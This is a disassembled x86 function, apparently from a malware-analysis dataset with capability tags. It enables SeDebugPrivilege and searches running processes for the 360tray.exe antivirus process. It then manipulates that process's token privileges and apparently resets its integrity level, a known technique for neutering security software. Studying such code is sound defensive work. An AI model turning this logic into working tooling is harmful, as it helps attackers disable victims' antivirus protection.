Function at 0x10001310
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x334
lea eax, [ebp - 4]
push ebx
push esi
push edi
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov edi, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1000138a
lea eax, [ebp - 0x3c]
push eax
push str.SeDebugPrivilege
push 0
call edi
test eax, eax
je 0x10001385
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
push 0
push 0
push 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x28]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 2
call ebx
test eax, eax
jne 0x1000138a
push dword [ebp - 4]
call esi
movups xmm0, xmmword [str.360tray.exe]
push 0x88
lea eax, [ebp - 0xe8]
movups xmmword [ebp - 0x100], xmm0
push 0
movq xmm0, qword [0x1001aaf8]
push eax
movq qword [ebp - 0xf0], xmm0
call fcn.10003ea0
add esp, 0xc
lea eax, [ebp - 0x32c]
xor esi, esi
push 0x228
push esi
push eax
call fcn.10003ea0
add esp, 0xc
mov dword [ebp - 0x330], 0x22c
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x330]
mov dword [ebp - 4], eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x10001456
lea eax, [ebp - 0x100]
push eax
push 0x1001ab40
call fcn.10005bea
add esp, 8
test eax, eax
je 0x10001456
mov esi, dword [sym.imp.KERNEL32.dll_Process32NextW]
mov edi, dword [ebp - 4]
nop
lea eax, [ebp - 0x330]
push eax
push edi
call esi
mov eax, dword [ebp - 0x328]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0x30c]
push eax
call fcn.10005bea
add esp, 8
test eax, eax
jne 0x10001420
mov edi, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov esi, dword [ebp - 4]
push esi
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [ebp - 8]
mov dword [ebp - 0x38], eax
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x44]
push eax
push str.SeDebugPrivilege
push 0
call edi
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
push 0
push 0
push 0x10
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x5c]
push eax
push 0
push dword [ebp - 8]
mov dword [ebp - 0x5c], 1
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], 2
call ebx
test eax, eax
jne 0x100014ba
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
push str.SeDebugPrivilege
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x10001508
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 4
call ebx
test eax, eax
je 0x10001508
call esi
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
push str.SeChangeNotifyPrivilege
push 0
call edi
test eax, eax
je 0x10001550
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 4
call ebx
test eax, eax
je 0x10001550
call esi
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
push str.SeTcbPrivilege
push 0
call edi
test eax, eax
je 0x10001598
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 4
call ebx
test eax, eax
je 0x10001598
call esi
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
push str.SeImpersonatePrivilege
push 0
call edi
test eax, eax
je 0x100015e0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 4
call ebx
test eax, eax
je 0x100015e0
call esi
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
push str.SeLoadDriverPrivilege
push 0
call edi
test eax, eax
je 0x10001628
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 4
call ebx
test eax, eax
je 0x10001628
call esi
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
push str.SeRestorePrivilege
push 0
call edi
test eax, eax
je 0x10001670
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 4
call ebx
test eax, eax
je 0x10001670
call esi
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
push str.SeBackupPrivilege
push 0
call edi
test eax, eax
je 0x100016b8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 4
call ebx
test eax, eax
je 0x100016b8
call esi
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
push str.SeSecurityPrivilege
push 0
call edi
test eax, eax
je 0x10001700
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 4
call ebx
test eax, eax
je 0x10001700
call esi
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
push str.SeSystemEnvironmentPrivilege
push 0
call edi
test eax, eax
je 0x10001748
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 4
call ebx
test eax, eax
je 0x10001748
call esi
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
push str.SeIncreaseQuotaPrivilege
push 0
call edi
test eax, eax
je 0x10001790
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 4
call ebx
test eax, eax
je 0x10001790
call esi
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
push str.SeTakeOwnershipPrivilege
push 0
call edi
test eax, eax
je 0x100017d8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 4
call ebx
test eax, eax
je 0x100017d8
call esi
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
push str.SeIncreaseBasePriorityPrivilege
push 0
call edi
test eax, eax
je 0x10001820
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 4
call ebx
test eax, eax
je 0x10001820
call esi
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
push str.SeShutdownPrivilege
push 0
call edi
test eax, eax
je 0x10001868
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 4
call ebx
test eax, eax
je 0x10001868
call esi
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
push str.SeAssignPrimaryTokenPrivilege
push 0
call edi
test eax, eax
je 0x100018b0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 4
call ebx
test eax, eax
je 0x100018b0
call esi
lea eax, [ebp - 0x34]
mov dword [ebp - 0x2c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 0
movq qword [ebp - 0x34], xmm0
push eax
mov word [ebp - 0x34], 0x101
mov byte [ebp - 0x2d], 0x10
mov dword [ebp - 0x48], 0x20
mov dword [ebp - 0x4c], eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
add eax, 8
push eax
lea eax, [ebp - 0x4c]
push eax
push 0x19
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x38]
call esi
call fcn.10001920
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret